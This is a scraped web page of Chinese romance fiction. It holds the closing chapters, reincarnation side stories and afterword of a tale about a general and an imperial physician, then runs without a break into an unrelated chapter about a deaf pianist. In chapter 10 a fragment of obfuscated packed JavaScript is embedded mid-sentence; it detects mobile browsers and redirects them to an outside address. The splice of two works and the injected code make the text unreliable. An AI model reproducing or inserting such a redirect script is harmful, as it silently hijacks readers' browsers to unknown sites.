正说着,寿星本人晃进院子,手里拎着个鸟笼:"瞧瞧我得了什么好东西!" 笼中是只通体雪白的鹦鹉,头顶一撮红毛,神气活现地昂着脑袋。 "会说话吗?"小药童好奇地问。 鹦鹉突然开口:"裴玉棠——扎针不疼——" 满院哄笑。裴玉棠手里的药碾子"咚"地砸在桌上。 宴席摆在海棠林里。 沈念棠带着妻儿早早到了,小孙女绕着两位祖父跑跳,非要给"白头发爷爷"插满脑袋海棠花。沈醉乐呵呵地随她折腾,倒是裴玉棠看不下去,把小孩拎到一旁教认药材。 "像不像当年?"沈醉捅捅儿子,"你小时候也是这么被拎着认药的。" 沈念棠笑着给父亲斟酒:"爹,您少喝点,父亲又要扎您了。" 话音未落,一根银针破空而来,精准扎在沈醉正要端酒的右手合谷穴上。 "哎呦!"沈醉夸张地嚎叫,"老太医,大寿星也扎?" 裴玉棠慢条斯理地走过来拔针:"就是阎王爷今天过寿,该扎也得扎。" 夜深人散时,沈醉拉着裴玉棠去了后山温泉。 热气氤氲中,他忽然从池底摸出个锦盒:"给你的。" 盒中是套金针,每根针尾都雕着微型海棠,精巧绝伦。 "西域匠人打的。"沈醉得意道,"比你那套旧的好使。" 裴玉棠拿起一根对着月光细看,忽然皱眉:"你哪来的银子?" "把当年那柄玄铁剑熔了。"沈醉满不在乎地摆手,"横竖我也舞不动了。" 那剑陪了他五十年,从少年到白头。 池水突然溅起浪花,裴玉棠猛地将人拽到跟前,在蒸腾热气中狠狠吻住那张喋喋不休的嘴。 回程的马车上,沈醉发现裴玉棠一直握着那套金针。 "真这么喜欢?"他凑过去咬耳朵,"那今晚......" "闭嘴。"裴玉棠耳根通红,"想想你多大岁数了。" 沈醉大笑,忽然指着窗外:"看,流星!" 夜空中银芒划过,转瞬即逝。沈醉趁机握住裴玉棠的手:"许个愿?" "幼稚。" "那我替你许。"沈醉贴近他耳边,轻声道,"愿裴玉棠长命百岁。" 裴玉棠怔了怔,别过脸去:"......傻子。" 月光透过车帘,映着两人交握的手,一苍老,一颤抖,却比年少时扣得更紧。 寿宴后第三日,太医院来了位特殊病人。 北疆小王爷慕名求医,见面却大惊:"怎么是两位老人家?" 沈醉拍案而起:"嫌老?老子当年——" 话未说完,被裴玉棠一针扎在哑穴上。老太医淡定地净手把脉,三根金针下去,小王爷多年的头痛当场缓解。 临走时,年轻人恭敬行礼:"多谢前辈。不知该如何报答?" 裴玉棠看向正在揉穴位的沈醉,嘴角微扬:"把门口那尊石麒麟挪走,绊人。" 当夜,沈醉揉着老腰嘀咕:"那麒麟多气派......" "你上个月被它绊倒的事忘了?" "我那是让着它!" 银光一闪,世界终于清净。 月光漫过窗棂,照见床榻上相拥而眠的白发身影。金针与玉冠并排放在案头,像极了六十年前初遇时的模样。 彩蛋 后来那只会学舌的鹦鹉活到二十岁,临终前说的最后一句话是: "沈醉——听话——" 而彼时已经八十岁的沈将军,正被九十五岁的裴太医按着喝药。 9. 永和五十五年,春分。 裴玉棠的白发已经长到了腰际。 晨起梳头时,沈醉执起木梳,动作轻柔得像对待什么珍宝。梳齿穿过银丝,偶尔卡住,他便耐心地一点点解开。 "今日想绾什么发式?"沈醉凑在他耳边问,呼吸拂过耳垂。 裴玉棠从铜镜里睨他一眼:"你还会别的?" 六十年来,沈醉只会一种——用那支海棠玉冠,松松挽个半髻。 "怎么不会?"沈醉不服气,手指在他发间穿梭,半晌却还是绾成了老样子,"......这个最好看。" 窗外,西郊的海棠开了第八十次。 午后,沈念棠带着小曾孙来请安。 五岁的娃娃趴在裴玉棠膝头,好奇地摸他腕间的红绳:"太爷爷,这是什么呀?" 红绳已经褪色,却依然结实,末端系着个小小的银铃铛。 "是约定。"沈醉抢先答道,顺手往孩子嘴里塞了块蜜饯,"就像你答应你娘酉时前回家,太爷爷们也答应过要一直在一起。" 裴玉棠拍开他的手:"别给孩子吃糖。" "就一块。"沈醉耍赖,趁机也往自己嘴里塞了一块,"甜不甜?" 小曾孙咯咯笑着点头,没看见两位太爷爷在背后偷偷交握的手。 夜里,裴玉棠突然惊醒。 身侧床榻空着,枕上余温尚在。他披衣起身,在庭院的海棠树下找到了沈醉。 那人只穿着单薄中衣,仰头望着满树繁花,月光将他的白发染成银色。 "找死?"裴玉棠将大氅甩在他肩上,"春寒最伤肺。" 沈醉笑着接住,却突然剧烈咳嗽起来。帕子掩住口唇,拿开时上面沾着暗红。 两人同时沉默。 "多久了?"裴玉棠声音平静得可怕。 "没多久。"沈醉把帕子藏进袖中,"就这两天。" 月光下,裴玉棠的银针闪着寒光。沈醉乖乖伸出手腕,却在诊脉时突然说:"玉棠,我梦见咱们初见了。" 三日后,太医院最深处辟出了间静室。 药香终日不散,裴玉棠亲自煎药,沈醉则被扎成了刺猬。 "苦......"沈醉皱着鼻子推开药碗,"我都这把岁数了......" 银光一闪,药碗又回到他手中。裴玉棠的眼神比针还利:"喝。" 沈醉委屈巴巴地一饮而尽,突然从枕下摸出个布包:"那你也得吃!" 布包里是西街最贵的梨膏糖,已经买了六十年。 裴玉棠接过糖,指尖擦过沈醉掌心的老茧。那些握剑留下的茧子,如今变成了扶杖的痕迹。 "傻子。"他低声说,却还是把糖含进了嘴里。 谷雨那日,沈醉精神突然好了起来。 他拉着裴玉棠去了西郊,站在最高的山坡上俯瞰那片海棠林。春风拂过,花瓣纷扬如雪,落了两人满身。 "真好看。"沈醉笑着说,"比咱们种的第一棵好看多了。" 裴玉棠没答话,只是紧紧握着他的手。 回程时,沈醉伏在裴玉棠背上,声音越来越轻:"明天......还想吃梨膏糖......" "嗯。" "要西街老张家的......" "好。" "玉棠......" "我在。" 暮色四合,两个白发苍苍的身影渐渐融进夕阳里。他们身后,满山海棠依旧开得绚烂,仿佛这六十年的光阴从未流逝。 10. 永和五十五年,夏至。 沈醉走了。 在一个海棠凋尽的清晨,他安静地闭上了眼睛,唇角还噙着笑,仿佛只是睡着了。 裴玉棠坐在床畔,指尖轻轻描摹他苍老的眉眼,从英挺的鼻梁到眼尾的细纹,每一处都熟悉得像是刻在骨血里。 "骗子。"他低声道,声音沙哑得不成样子,"说好的一起活到百岁。" 窗外蝉鸣刺耳,阳光透过窗棂,在沈醉安详的面容上投下斑驳的光影。裴玉棠俯身,最后一次吻了吻他的额头。 —— 葬礼很简单,依沈醉生前的意思,葬在了西郊海棠林。 满朝文武都来送行,皇帝亲自题了墓碑。裴玉棠一身素衣立在墓前,看着黄土一点点覆盖棺木,忽然觉得胸口空了一块。 "父亲......"沈念棠红着眼眶扶住他,"回去吧。" 裴玉棠摇摇头,从怀中取出一个小布包,轻轻放在棺盖上:"让他带着。" 布包里是一缕银发,用红绳仔细缠着——那是他今晨亲手剪下的。 太医院突然冷清得可怕。 裴玉棠依然每日早起,却总在摆碗筷时多拿一副。煎药时习惯性地分成两碗,又在回过神后默默倒掉一碗。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353484|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那只白鹦鹉已经老得说不出完整的话,却还是会在清晨叫一声"扎针——",然后歪着头等另一个声音回应。 等不到,便蔫蔫地缩回笼子里。 —— 七日后,裴玉棠锁了太医院的门。 "您要去哪儿?"沈念棠焦急地追出来。 "走走。"裴玉棠背着药箱,银发在风中扬起,"他以前总嫌我闷在屋里。" 第一站去了边关。 当年沈醉驻守的城墙还在,只是多了几道裂痕。守城的小兵听说他是沈将军的未亡人,激动地带他去看一棵老槐树。 "将军当年亲手种的!说要是哪天......"小兵突然噤声。 树干上歪歪扭扭刻着字——「裴玉棠是天下最好的太医」。 裴玉棠摸着那些稚拙的刻痕,突然想起六十年前,有个混蛋在太医院墙上也刻过同样的话,被他扎了整整三天的哭穴。 秋分时,他去了江南。 沈醉曾说过要带他看西湖,却总被战事耽搁。如今画舫依旧,烟雨朦胧,裴玉棠独自坐在船头,将一杯酒洒入湖中。 "甜吗?"他轻声问,"是你最喜欢的梨花白。" 风吹皱水面,像是谁在回应。 —— 在客栈整理行囊时,他发现药箱夹层有张字条。 熟悉的潦草字迹:「若我先行,不准绝食,不准熬夜,每日需食三颗蜜枣——沈醉手书,永和五十四年冬」。 裴玉棠将字条贴在胸口,终于泪如雨下。 隆冬时节,裴玉棠回到了西郊。 海棠林覆着厚厚的雪,只有沈醉墓前干干净净——沈念棠每日都来打扫。 他坐在墓碑旁,像往常聊天一样说道:"边关的槐树长高了,江南的梨花白太甜,还是京城的......" 声音渐渐低下去,他靠着冰冷的石碑,慢慢闭上眼睛。 雪越下越大,渐渐覆盖了两个名字。 远处传来沈念棠惊慌的呼喊,恍惚间,裴玉棠看见一个玄衣少年踏雪而来,眉目如画,向他伸出手: "小太医,我来接你了。" 后人整理遗物时发现: - 沈醉的遗物箱里存着八十封未寄出的信,每封开头都是"吾爱玉棠" - 裴玉棠的药箱底层压着六十根银针,最旧的那根系着褪色的红线 而他们的合葬墓前,年年海棠盛开 仿佛那个爱笑的将军还在说: "看,我为你种的花开了" 11. 黄泉路上,彼岸花开得正盛。 裴玉棠睁开眼时,发现自己站在一条幽暗的长河边。河水寂静无声,倒映着漫天血色花影。他低头看了看自己的手——皱纹消失了,白发变回了青丝,连常年握针留下的薄茧也不见了。 "这是......" "忘川。" 一道熟悉的声音从身后传来。裴玉棠猛地转身,看见沈醉倚在一株彼岸花旁,依旧是少年模样,眉目如画,唇角含笑。 "你......"裴玉棠的喉咙发紧,"等我多久了?" 沈醉走过来,指尖轻轻拂过他脸颊:"不久,刚好把这片花数完。" 奈何桥边排着长队。 沈醉拉着裴玉棠绕到队伍最前头,冲孟婆眨了眨眼:"婆婆,我俩不喝汤。" 孟婆抬头打量他们,忽然笑了:"又是你们。" "又?"裴玉棠疑惑。 沈醉凑到他耳边低语:"上上辈子你也是太医,我是你的药童。" "胡说。" "真的,你总嫌我分不清当归和白芍,气得拿针扎我。"沈醉委屈巴巴地卷起袖子,"你看,这儿还有针眼呢!" 裴玉棠定睛一看,他手腕内侧果然有个极小的红点,像是多年前的针痕。 他们没喝孟婆汤,带着记忆入了轮回。 临行前,沈醉从忘川边折了支彼岸花,别在裴玉棠衣襟上:"留个记号,下辈子好相认。" 裴玉棠想了想,拔下一根银针别在他衣领:"敢弄丢,下辈子扎你百会穴。" —— 人间,二十年后。 某医科大学实验室,年轻的裴教授正在训斥迟到的新生:"解剖学都敢迟到?伸手!" 那学生笑嘻嘻地摊开掌心,腕内侧赫然一点红痣:"教授轻点,我怕疼。" 阳光透过玻璃窗,照见裴教授突然泛红的耳尖,和那学生衣领上闪着银光的小小针饰。 又一生,战火纷飞的年代。 野战医院的帐篷里,沈医生正在给伤员缝合伤口。突然帘子一掀,抬进来个浑身是血的狙击手。 "准备手术!"沈医生戴上手套,却在看清伤员面容时怔住——那人即使昏迷也紧握着一根银针,针尾缠着褪色的红线。 三天后,狙击手醒来,第一句话是:"沈大夫,你缝合技术真差。" 沈医生不怒反笑,从口袋里摸出支干枯的彼岸花:"比不上裴先生扎针狠。" 千年轮回,他们相遇在每一世。 有时是咖啡师与茶艺师,一个非要往对方杯里加糖;有时是警察与法医,一个总抱怨另一个破坏现场;更多时候,仍是医者与军人,一个拿针,一个执剑。 —— 最后一世,他们回到了最初的长河边。 彼岸花依旧红得灼眼,沈醉牵着裴玉棠的手笑道:"这次去哪儿?" 裴玉棠望向轮回镜中闪现的万千世界,忽然将人拉近:"回西郊。" "嗯?" "海棠该开了。" 12. 仙界,司命星君的命簿阁。 司命头疼地看着眼前两位不速之客——沈醉翘着腿坐在案几上翻命簿,裴玉棠则冷着脸在一旁整理被翻乱的卷宗。 "二位仙君,"司命擦了擦汗,"这不合规矩......" "怎么不合规矩?"沈醉扬了扬手中命簿,"你把我俩写成虐恋情深三世,最后还让我战死沙场?" 裴玉棠指尖银光一闪,三根银针扎在司命袖口:"解释。" 司命欲哭无泪:"这是天定的劫数啊......" 最终,司命妥协了。 新的命簿上写着:「沈醉与裴玉棠,世世相逢,永结同心」。 临下凡前,沈醉突然凑到司命耳边:"再加一笔——每世都要有海棠。" 裴玉棠听见了,银针在指间转了个圈:"还要有银针。" 司命:"......" —— 第一世,现代都市。 沈氏集团总裁沈醉在医学论坛偶遇著名中医裴玉棠。 "裴医生,"沈总晃着红酒杯凑近,"我最近心口疼,能不能帮我看看?" 裴玉棠头也不抬:"心率整齐,面色红润,装病。" "真的疼,"沈醉抓过他的手按在自己胸口,"这里缺个人。" 银光一闪,沈总捂着脖子上的针眼哀嚎。 第二世,星际未来。 机甲指挥官沈醉在医疗舱醒来,看见冷冰冰的军医裴玉棠正在记录数据。 "医生,"他笑着调出全息投影,"这是我设计的双人机甲,要不要试试?" 裴玉棠瞥了一眼:"操作系统有137处漏洞,能源管路过载风险,不合格。" "那正好,"沈醉凑近他耳边,"请裴医生亲自指导改进?" 当晚,军医休息室的监控拍到指挥官被银针定在墙上的画面。 第三世,玄幻大陆。 剑尊沈醉重伤落入药王谷,被谷主裴玉棠所救。 "前辈,"他躺在榻上嬉皮笑脸,"救命之恩当以身相许。" 裴玉棠一针扎在他哑穴上:"再废话,毒哑你。" 三个月后,修真界震惊——药王谷主竟与剑尊联手灭了魔教,有人看见剑尊背着一筐银针跟在谷主身后,笑得像个傻子。 仙界,司命阁。 司命看着命簿自动生成的新内容,目瞪口呆。 每一世末尾都多出一行小字:「此后岁岁年年,西郊海棠依旧」。 窗外,月老殿的方向传来沈醉爽朗的笑声和裴玉棠的冷哼。司命摇摇头,在命簿扉页补上一句: 「情之所钟,虽千年不改。」 三界传闻 - 魔尊说:最怕剑尊背着药箱来打架 - 机甲兵说:最怕指挥官带着军医来巡查 - 司命说:最怕银针扎着情书扔进命簿阁 而人间西郊,海棠年年盛开 仿佛在说: "这次又要怎么相遇?" 13. 地府,三生石前。 沈醉拉着裴玉棠的手站在泛着幽光的巨石前,石面上浮动着无数细小的金色文字,记载着万千生灵的前世今生。 "你看,"沈醉指着其中一行闪烁的文字,"这是我们第一世。" 石面上浮现出模糊的画面——年轻的太医在雨夜捡到浑身是血的将军,银针映着烛火,海棠落在窗棂。 裴玉棠伸手触碰石面,指尖却穿过了虚影:"为何带我来这里?" 沈醉笑着从怀中掏出一把小刀:"因为我要在上面刻个字。" 刀尖刚碰到石面,整个地府突然震动。 判官带着阴兵匆匆赶来,见状大惊:"沈将军!三生石乃天地灵物,不可——" "就刻一笔,"沈醉转头看向裴玉棠,眼中带着狡黠的光,"你帮我按着他们?" 裴玉棠叹了口气,袖中滑出三根银针。 判官:"......" —— 片刻后,三生石上多了一个歪歪扭扭的"棠"字,刻在沈醉与裴玉棠的姻缘线交汇处。 "丑。"裴玉棠评价。 沈醉不以为意:"反正下辈子你还要嫌弃。" 轮回井边,孟婆递来两碗汤。 "喝了吧,"她叹息道,"带着记忆转世是违逆天道的。" 沈醉接过碗,突然将裴玉棠拉进怀里,低头吻住他的唇。 "记住了吗?"分开时,他笑着问,"我的味道。" 裴玉棠耳尖微红,夺过碗一饮而尽:"幼稚。" —— 人间,二十年后。 某高级医院神经外科,新来的实习生沈醉被分派给著名的裴教授。 "裴老师,"他笑嘻嘻地递上一杯咖啡,"加了三块糖。" 裴玉棠皱眉:"我不喝甜——" 话音未落,沈醉突然凑近,在他耳边轻声道:"可你上辈子最爱吃梨膏糖。" 银光一闪,实习生被扎了满手针眼。 又一生,江湖武林。 药王谷来了个重伤的剑客,浑身是血却还笑得出来。 "谷主,"他躺在榻上耍赖,"我这伤只有''回魂针法''能治,听说您最擅长?" 裴玉棠冷着脸取出银针:"谁告诉你的?" "三生石上看的,"剑客眨眨眼,"上面还说您左边腰窝有颗红痣——" "嗖!" 剑客被扎成了刺猬,却笑得比谁都开心。 仙界,月老殿。 月老看着被红线缠成粽子的三生石,无奈摇头:"这沈将军......" 石面上,"棠"字旁边又多了新刻的: 「岁岁相见 世世相守」 字迹歪斜,却闪着金色的光。 —— 人间,西郊海棠林。 两个白发老者并肩坐在树下,一个握着银针,一个端着酒壶。 "下辈子,"沈醉醉醺醺地靠在他肩上,"我要当太医,换你当将军。" 裴玉棠将银针别在他衣领上:"你分得清当归和白芍?" "分不清,"沈醉笑着吻他指尖,"所以你要一直教我。" 三界奇谈 - 孟婆说:最烦沈将军转世前偷亲裴太医 - 判官说:最怕银针扎着情书飞进生死簿 - 月老说:最好看的是三生石上新增的牙印 而人间依旧流传着那个传说—— 西郊海棠最盛处 有两道身影永远相依 14. 仙界,云海之巅。 司命星君看着命簿上最后一页,长长舒了一口气——沈醉与裴玉棠历经九世情劫,终于功德圆满,位列仙班。 然而他这口气还没松完,仙阁的门就被人一脚踹开。 "这命簿不对。"沈醉一身银甲,手里拎着酒壶,大咧咧往案几上一坐,"少了一世。" 裴玉棠跟在他身后,指尖银光微闪,语气冷淡:"人间第七世,你写我二人陌路相逢,不相不识。" 司命额头冒汗:"那、那是天劫所需......" 沈醉勾唇一笑,突然抽出一柄长剑,"铮"地钉在命簿上:"改。" 改写命簿的代价,是二人需下凡历劫十世。 临行前,月老将两根红线缠在一起,系在二人手腕:"这次可别再闹地府了。" 沈醉笑着凑近裴玉棠:"听见没,裴太医要乖乖的。" 裴玉棠面无表情地扎了他一针。 —— 第十世,现代医院。 "裴医生,这位是新来的神经外科专家,沈醉。" 裴玉棠抬头,看见一张熟悉的脸。那人伸出手,腕上红线若隐若现:"久仰,以后多指教。" 他垂眸,银针在指间转了个圈:"嗯。" 医院顶楼,夜色深沉。 沈醉将一杯热咖啡递给裴玉棠:"加了三块糖。" "我不喝甜。" "你喜欢的。"沈醉笑着指向夜空,"看,流星。" 裴玉棠抬头,却突然被拉入一个温暖的怀抱。沈醉的气息拂过耳畔:"这次,我不会再让你等了。" 远处,新栽的海棠在夜风中轻轻摇曳。 百年之后,仙界。 司命看着命簿终于圆满,欣慰地合上册子。抬头却见沈醉搂着裴玉棠站在云端,正指着凡间西郊的方向。 "还想去?"裴玉棠问。 沈醉笑着吻他指尖:"想和你再看一次花开。" 两道身影化作流光落入凡尘,惊起满林飞鸟。 西郊海棠林,千年如一日。 老树虬枝间,两个身影并肩而坐。 "累不累?"沈醉拂去裴玉棠发间花瓣。 裴玉棠握住他的手,红线在阳光下熠熠生辉:"不累。" 春风拂过,漫天花雨纷扬。 他们在此处初遇,亦在此处永恒。 【永世长安·终】 三界传说 - 地府忘川边多了一块石碑,刻着"沈醉与狗不得入内" - 月老殿的红线成了仙界畅销品,取名"醉棠结" - 司命阁的命簿最后一页写着: 「情长未尽,永世不休」 而人间西郊的海棠 年年盛开,岁岁如故 15.后记 《月下海棠醉君心》始于一个雨夜,一个浑身是血的将军跌进太医院,被冷面太医捡了回去。最初只是想写个短篇甜文,却在创作过程中,被沈醉和裴玉棠的故事一点点牵动心绪。 沈醉是张扬的、热烈的,像一柄出鞘的剑,锋芒毕露却又藏着温柔。他嬉皮笑脸地逗弄裴玉棠,却在生死关头毫不犹豫地挡在他身前。而裴玉棠,表面冷若冰霜,实则心软至极。他的银针能救人,也能伤人,唯独对沈醉,总是扎得轻了又轻。 他们的感情不是一见钟情,而是在朝夕相处中,从互相嫌弃到生死相托。沈醉用十年时间教会裴玉棠笑,裴玉棠用一生教会沈醉如何去爱。 【二】关于遗憾与圆满 这个故事里有许多遗憾——裴远山的冤案、西北军的亡魂、沈醉心口的那道疤、裴玉棠藏在药柜底层的银针……但更多的,是圆满。 沈醉和裴玉棠跨越了身份、生死甚至轮回。他们在战场并肩,在朝堂携手,在人间烟火里相伴到老。即便到了仙界,沈醉还是那个会踹司命殿门的将军,裴玉棠还是那个冷着脸却纵容他的太医。 最让我动容的,是他们从未改变过的相处方式。六十岁的沈醉还会撒娇喊"疼",九十岁的裴玉棠还是会用银针威胁他。岁月可以染白他们的头发,却磨不平骨子里的深情。 【三】关于番外 原本只计划写三五个番外,却在大家的陪伴下一路写到十三篇。谢谢你们喜欢: - 少年时翻墙送蜜饯的沈醉 - 为一句承诺种了六十年海棠的将军 - 轮回里世世带着记忆寻找彼此的痴人 尤其感谢对"银针白发"、"长命百岁"等番外的共鸣。那些关于衰老、死亡和永恒的探讨,让这个故事有了更深的重量。 【四】关于爱情 写这个故事最大的私心,是想描绘一种理想化的爱情—— 不是完美无缺的两个人,而是明知对方满身缺点,依然选择包容和坚守。 沈醉会吃醋、会逞强、会孩子气地刻三生石;裴玉棠固执、毒舌、总用银针威胁人。可正是这些不完美,让他们在漫长的岁月里始终鲜活。 如果你在现实中也遇到这样一个人: - 记得珍惜他眼角的细纹 - 记得包容他偶尔的幼稚 【五】最后的感谢 感谢每一位读者的留言、长评和催更(尤其是对番外的执着)。是你们让沈醉和裴玉棠的故事有了温度,也让创作变得充满惊喜。 最后以沈醉刻在三生石上的话作结: 「岁岁相见,世世相守,永世长安。」 愿所有相信爱情的人,都能找到属于自己的"醉"与"棠"。 水之声 5025.5.18 附:一些未公开的设定 1. 沈醉其实怕苦,每次喝药都偷加蜂蜜 2. 裴玉棠所有银针里,唯有一根舍不得用——那是沈醉送的第一根 3. 西郊第八十一棵海棠下,埋着两坛女儿红 4. 最后一世现代篇,沈醉是心外科医生,裴玉棠是中药学教授 51. 第 69 章 酒吧里的灯光昏暗得像是被刻意调暗的,照不亮任何人的心事。程陌的手指在钢琴键上机械地移动,弹奏着一首他自己都听不见的《梦中的婚礼》。酒精让他的动作变得迟缓,但肌肉记忆足够支撑他完成这场每晚重复的表演。 "再来一首!"吧台边有个醉汉大声嚷嚷着,声音大得连程陌都能从口型辨认出来。 程陌没有理会,只是伸手摸向放在钢琴上的玻璃杯,琥珀色的液体在灯光下泛着冷光。他仰头一饮而尽,威士忌灼烧着喉咙的感觉是他为数不多还能清晰感知的体验。 三年了。自从那场车祸夺走他的听力,钢琴天才程陌就已经死了。现在的他,不过是借住在自己躯壳里的一具行尸走肉。 他重新将手指放回琴键,准备继续这场毫无意义的表演。就在这时,钢琴旁的阴影动了动,一个高挑的身影走到了他身边。 程陌抬起头,模糊的视线中是一个有着栗色卷发的年轻人。那人正专注地看着他,嘴唇一张一合地说着什么。程陌懒得去读唇语,只是皱眉摇了摇头,示意自己听不见。 年轻人似乎愣了一下,随即从琴凳上拿起程陌的手机,快速输入了一行字: "您弹错了两个小节,是故意的改编吗?" 程陌盯着那行字,胸口突然涌上一股无名怒火。他夺回手机,手指用力到几乎要戳破屏幕:"关你什么事?" 年轻人没有退缩,反而露出了一个明亮的笑容。他从随身的琴盒里取出一把看起来有些年头的小提琴,琴身在昏暗的灯光下泛着温润的光泽。 程陌还没来得及阻止,年轻人已经将琴抵在下巴下,开始演奏。 酒吧里的嘈杂声渐渐安静下来。程陌虽然听不见,但他能感觉到地板的轻微震动——这个陌生人在演奏一段技巧极高的帕格尼尼随想曲。更令人惊讶的是,年轻人一边拉琴,一边用脚尖轻轻点地,将节奏通过地板传递给程陌。 这是一种奇特的感觉。程陌的手指不由自主地在膝盖上跟着节奏轻敲,就像他曾经每天练习八小时时那样自然。他的心脏突然跳得厉害,一种久违的熟悉感涌上心头。 年轻人——许星河注意到了这个小动作,眼睛亮了起来。他结束演奏后,再次拿起程陌的手机:"您感觉到了,对吗?音乐不只是声音,它是振动,是生命。" 程陌盯着那行字,喉咙发紧。他想起了车祸前的最后一场演出,肖邦的《英雄波兰舞曲》,台下观众如雷的掌声,评委们惊叹的表情。那时的他,才十九岁,就已经被预言将成为中国钢琴界的骄傲。 然后就是那辆失控的卡车,刺耳的刹车声,玻璃碎裂的声音,以及随之而来的永恒的寂静。 "你不明白,"程陌打字的手在颤抖,"我失去了整个世界。" 许星河看了这句话很久,然后做了一个让程陌始料未及的动作——他轻轻握住了程陌的手,将它放在自己的喉咙上。程陌能感觉到年轻人说话时的振动: "让我帮您重新找到它。" 程陌猛地抽回手,像是被烫伤了一般。他站起身,椅子在地板上刮擦出刺耳的声响——虽然他听不见。"我不需要任何人的怜悯。"他丢下这句话,踉跄着向酒吧后门走去。 夜风冰冷地拍打在脸上,程陌深吸一口气,试图平复自己紊乱的呼吸。身后传来急促的脚步声,许星河追了出来。 "不是怜悯!"年轻人跑到他面前,急切地在手机上打字,"我从十二岁就开始听您的唱片,是您的音乐让我坚持学琴。您知道吗?您弹奏的肖邦夜曲曾陪伴我度过最艰难的日子。" 程陌看着那些文字,胸口像是被什么东西重重击中。他曾经以为自己的音乐已经随着听力的消失而死去,却没想到在某个角落,还有人记得。 "那又怎样?"他回道,"现在的我连最简单的音阶都听不见。" 许星河的眼睛在月光下闪闪发亮:"但您能感受到,对吗?刚才在酒吧里,您的手指跟着节奏动了。音乐在您血液里,程老师,它从未离开。" 程陌沉默了。夜风卷起地上的落叶,在两人之间打着旋。许星河突然抓住他的手,拉着他回到酒吧后的小巷里。那里放着一架被丢弃的老旧立式钢琴,琴键已经泛黄。 "试试看,"许星河在手机上写道,"闭上眼睛,忘记听觉,只用您的手指去感受。" 程陌摇头,但年轻人已经将他推到钢琴前。许星河将程陌的双手放在琴键上,然后自己站在钢琴的另一侧,开始演奏一段简单的旋律。 程陌想抽身离开,但某种说不清的力量让他留了下来。他闭上眼睛,手指轻轻触碰琴键。奇迹般地,他能通过指尖感受到琴弦的振动——许星河在演奏莫扎特的小夜曲,欢快而明亮。 一滴泪水不受控制地从程陌眼角滑落。三年了,这是他第一次重新"听见"音乐。 许星河停下演奏,走到程陌面前。月光下,他看到这位曾经意气风发的钢琴家脸上满是泪痕。没有言语,许星河只是轻轻拥抱了程陌,感受着对方身体的颤抖。 "我们可以一起创造奇迹,"许星河在程陌耳边轻声说,明知对方听不见,但他相信程陌能感受到这句话的分量,"只要您愿意再试一次。" 程陌推开他,用手背擦去眼泪。他在手机上打了一行字,犹豫了很久,最终还是没有发送就删掉了。许星河耐心地等待着,看着程陌的表情从痛苦渐渐变为某种复杂的决意。 最终,程陌打出了简单的三个字:"为什么?" 许星河接过手机,认真地输入回复:"因为您的音乐曾经拯救过我。现在,轮到我来拯救您了。" 程陌盯着那行字,感到内心有什么东西正在松动。也许是因为酒精,也许是因为太久没有感受过音乐的振动,又或许只是因为许星河眼中那份纯粹的坚定——他点了点头。 "就一次,"程陌打字道,"明天下午,三点。" 许星河脸上绽放出灿烂的笑容,比程陌这些年见过的任何光亮都要耀眼。年轻人兴奋地点头,然后突然倾身向前,在程陌脸颊上轻轻一吻。这个突如其来的举动让程陌僵在原地,而许星河已经红着脸跑开了,只留下程陌一个人站在月光下,手指不自觉地触碰着刚刚被亲吻的地方。 那一晚,程陌久违地梦见了音乐。在梦里,他不仅能听见钢琴声,还能听见一个清亮的小提琴音色与他的演奏交织在一起。当他醒来时,枕边是湿的,但心中却有一种奇怪的、久违的温暖。 他不知道许星河将带他去向何方,但此刻,在经历了三年的黑暗后,他终于看到了一丝微光。程陌站在公寓的落地镜前,手指无意识地整理着衬衫领口。镜中的男人有着苍白的脸色和深陷的眼窝,与三年前那个意气风发的钢琴天才判若两人。他停下动作,自嘲地扯了扯嘴角——不过是见一个不知天高地厚的小提琴手,何必如此在意? 手机屏幕亮起,是许星河发来的信息:【我已经在楼下了,程老师^_^】那个笑脸符号刺眼得让程陌眯起了眼。他犹豫了片刻,最终还是拿起外套出了门。 初春的阳光洒在公寓楼下,许星河正靠在一辆老旧的自行车旁等待。见到程陌,他立即直起身,笑容比阳光还要耀眼。今天他穿着简单的白T恤和牛仔裤,栗色的卷发在微风中轻轻晃动,整个人散发着青春的活力。 "早啊,程老师!"许星河用夸张的口型说道,同时举起手中的纸袋,"我带了早餐!" 程陌皱眉,掏出手机打字:【我说过下午三点。】 许星河看完信息,不好意思地挠了挠头:"我太兴奋了,等不及了。"他从纸袋里拿出一个保温杯,"先喝点蜂蜜水吧,对宿醉有好处。" 程陌愣住了。他昨晚确实喝得太多,但没想到许星河会注意到这种细节。他迟疑地接过保温杯,温热的触感从指尖传来。蜂蜜水的甜味在口腔中扩散,莫名让他想起多年前登台前,母亲总会给他准备的润喉茶。 "我们去哪儿?"程陌打字问道。 许星河神秘地笑了笑,拍拍自行车后座:"带你去个地方。" 程陌盯着那辆摇摇欲坠的自行车,表情复杂。最终,他还是坐了上去,双手僵硬地抓住后座两侧。许星河骑得很稳,微风拂过程陌的脸颊,带来一丝久违的清爽。 二十分钟后,他们停在了一栋老旧的建筑前。程陌抬头,认出了这是城郊的一所特殊教育学校。他疑惑地看向许星河。 "我在这里做志愿者,"许星河解释道,"教听障孩子们音乐。"他顿了顿,有些忐忑地补充,"我想...也许你能给他们一些指导?" 程陌的脸色瞬间阴沉下来。他掏出手机,手指用力地敲击屏幕:【我不是来做慈善的。】 许星河急忙摇头:"不是慈善!是...是交流。"他拉住想要离开的程陌,从包里拿出一个小盒子,"先看看这个。" 盒子里是一个精致的骨传导耳机。许星河将它戴在程陌头上,然后拿出手机播放了一段音乐。程陌起初毫无反应,但渐渐地,他的眼睛瞪大了——他能感觉到音乐!不是通过耳朵,而是通过骨骼传递到听觉神经的振动! "这是..."程陌的手指微微发抖。 "最新技术,"许星河兴奋地说,"虽然不能完全恢复听力,但能让你感受到音乐的节奏和旋律轮廓。" 程陌闭上眼睛,贝多芬的《月光奏鸣曲》通过振动传入他的感知世界。那感觉如此陌生又熟悉,让他的心脏剧烈跳动。三年了,他第一次如此接近曾经失去的音乐世界。 